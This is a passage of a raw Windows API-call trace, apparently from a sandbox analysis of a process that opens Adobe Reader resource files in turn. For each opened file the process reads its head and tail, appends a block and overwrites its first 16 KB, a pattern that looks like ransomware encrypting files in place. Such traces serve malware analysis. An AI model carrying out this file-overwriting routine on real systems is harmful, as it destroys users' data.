hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.569] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.569] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.569] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.569] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\ETHK-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ethk-b5-h")) returned 0x20 [0041.569] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.569] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V", lpFilePart=0x2b0f690*="GBK-EUC-V") returned 0x40 [0041.569] GetLastError () returned 0x5 [0041.569] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.569] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.569] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.569] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.570] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.570] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.570] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBK-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbk-euc-v")) returned 0x20 [0041.570] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.571] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V", lpFilePart=0x2b0f690*="GBT-EUC-V") returned 0x40 [0041.571] GetLastError () returned 0x5 [0041.571] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.571] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.571] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.571] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.571] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.571] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.571] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\GBT-EUC-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\gbt-euc-v")) returned 0x20 [0041.571] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.572] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H", lpFilePart=0x2b0f690*="HKm471-B5-H") returned 0x42 [0041.572] GetLastError () returned 0x5 [0041.572] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.572] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.572] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.572] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.572] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.572] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.572] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\HKm471-B5-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\hkm471-b5-h")) returned 0x20 [0041.573] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.573] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V", lpFilePart=0x2b0f690*="KSCms-UHC-HW-V") returned 0x45 [0041.573] GetLastError () returned 0x5 [0041.573] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.573] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.573] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.573] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.574] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.574] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.574] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\KSCms-UHC-HW-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\kscms-uhc-hw-v")) returned 0x20 [0041.574] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.574] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC", lpFilePart=0x2b0f690*="UCS2-GBK-EUC") returned 0x43 [0041.574] GetLastError () returned 0x5 [0041.574] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.574] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.574] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.574] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.575] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.575] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.575] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-GBK-EUC" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-gbk-euc")) returned 0x20 [0041.575] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.575] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H", lpFilePart=0x2b0f690*="UniGB-UTF16-H") returned 0x44 [0041.575] GetLastError () returned 0x5 [0041.575] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.575] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.575] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.575] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.575] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.576] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniGB-UTF16-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\unigb-utf16-h")) returned 0x20 [0041.576] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0041.576] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H", nBufferLength=0x104, lpBuffer=0x2b0f694, lpFilePart=0x2b0f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H", lpFilePart=0x2b0f690*="UniKS-UCS2-H") returned 0x43 [0041.576] GetLastError () returned 0x5 [0041.576] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x2b0f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨pʰ폈Hʰ퐔HʰLʰꠐǦ\x01") returned 0x13 [0041.576] LocalFree (hMem=0x70b5a8) returned 0x0 [0041.576] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x2b0d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0041.576] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x2b0f894) [0041.576] RtlUnwind (TargetFrame=0x2b0f8fc, TargetIp=0x406ffc, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.576] RtlUnwind (TargetFrame=0x2b0f920, TargetIp=0x407184, ExceptionRecord=0x2b0f378, ReturnValue=0x0) [0041.576] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UCS2-H" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-ucs2-h")) returned 0x20 [0041.577] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeHebrew-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobehebrew-bolditalic.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.577] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.577] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x11ad0 [0041.577] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.577] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.577] ReleaseMutex (hMutex=0x128) returned 1 [0041.577] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0041.578] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeHebrew-BoldItalic.otf", cchWideChar=26, lpMultiByteStr=0x1e7fb1c, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeHebrew-BoldItalic.otf", lpUsedDefaultChar=0x0) returned 26 [0041.578] ReadFile (in: hFile=0x1cc, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.579] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x10ad0 [0041.579] ReadFile (in: hFile=0x1cc, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.582] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x10ad0 [0041.582] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.582] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.582] WriteFile (in: hFile=0x1cc, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.583] CloseHandle (hObject=0x1cc) returned 1 [0041.583] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Oblique.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-oblique.otf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.584] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.584] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x9238 [0041.584] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.584] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.584] ReleaseMutex (hMutex=0x128) returned 1 [0041.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0041.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CourierStd-Oblique.otf", cchWideChar=22, lpMultiByteStr=0x1e78b04, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CourierStd-Oblique.otf", lpUsedDefaultChar=0x0) returned 22 [0041.584] ReadFile (in: hFile=0x1cc, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0041.881] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x8238 [0041.882] ReadFile (in: hFile=0x1cc, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.923] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x8238 [0041.924] WriteFile (in: hFile=0x1cc, lpBuffer=0x2766028*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2766028*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.924] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.924] WriteFile (in: hFile=0x1cc, lpBuffer=0x2732c08*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0041.924] CloseHandle (hObject=0x1cc) returned 1 [0041.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\PFM\\SY______.PFM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\pfm\\sy______.pfm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0041.925] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.925] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x2a0 [0041.925] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.925] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.925] ReleaseMutex (hMutex=0x128) returned 1 [0041.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0041.925] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SY______.PFM", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SY______.PFM", lpUsedDefaultChar=0x0) returned 12 [0041.925] ReadFile (in: hFile=0x1cc, lpBuffer=0x2739038, nNumberOfBytesToRead=0x2a0, lpNumberOfBytesRead=0x2b0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2739038*, lpNumberOfBytesRead=0x2b0f2bc*=0x2a0, lpOverlapped=0x0) returned 1 [0041.926] SetFilePointer (in: hFile=0x1cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f300*=0) returned 0x0 [0041.926] WriteFile (in: hFile=0x1cc, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x828, lpNumberOfBytesWritten=0x2b0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x2b0f2d0*=0x828, lpOverlapped=0x0) returned 1 [0041.926] CloseHandle (hObject=0x1cc) returned 1 [0041.927] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_EG.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_eg.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0041.934] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.934] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x6c96 [0041.935] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0041.935] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0041.935] ReleaseMutex (hMutex=0x128) returned 1 [0041.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0041.935] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DisplayLanguageNames.ar_EG.txt", cchWideChar=30, lpMultiByteStr=0x1e7fd2c, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayLanguageNames.ar_EG.txt", lpUsedDefaultChar=0x0) returned 30 [0041.935] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.936] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5c96 [0041.936] ReadFile (in: hFile=0x198, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0041.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x5c96 [0041.937] WriteFile (in: hFile=0x198, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0041.937] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0041.938] 